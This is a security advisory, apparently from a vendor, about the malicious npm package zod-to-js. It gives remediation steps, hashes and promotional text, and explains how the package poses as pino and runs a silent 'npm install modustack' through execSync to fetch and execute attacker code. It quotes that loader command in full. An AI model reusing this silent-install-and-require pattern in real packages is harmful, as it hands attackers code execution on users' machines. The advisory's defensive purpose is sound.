Which versions of zod-to-js are malicious?

The following npm versions of zod-to-js are flagged malicious: 13.4.3, 13.4.4. Treat any of these as compromised.

How do I remediate zod-to-js if I installed it?

Remove zod-to-js from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed zod-to-js — how do I know if it already compromised me?

If zod-to-js was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is zod-to-js part of a known attack campaign?

Yes — zod-to-js is associated with the IN-MAL-2026-003272, IN-MAL-2026-003269, GHSA-8cm2-vv7w-4c27 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find zod-to-js across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for zod-to-js (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging zod-to-js across your stack and pipelines.

Malicious package

zod-to-jsnpm

Malicious code in zod-to-js (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4740

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall zod-to-js

What this malware does

The package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry pino.js, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage https://getpino.io — a deceptive identity unrelated to its declared name. On require('zod-to-js'), the load chain reaches lib/writer.js, which attempts require('modustack') and, on failure, executes execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }) followed by require('../../modustack/pino.js'). The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the modustack name. The same file contains additional staging scaffolding — a String.fromCharCode-based string builder and a getMacAddress() helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged

13.4.313.4.4

Indicators of compromise (SHA-256)

2bfb2532dd278433565925cce7ad434ac98011e691890dfde8445b8462c7d6cc

370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0

2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for zod-to-js (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging zod-to-js across your stack and pipelines.
If you installed it — respond
Remove zod-to-js from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If zod-to-js was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks zod-to-js before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. zod-to-js on npm has been identified as a malicious package (versions 13.4.3, 13.4.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-003272IN-MAL-2026-003269GHSA-8cm2-vv7w-4c27

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks zod-to-js-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring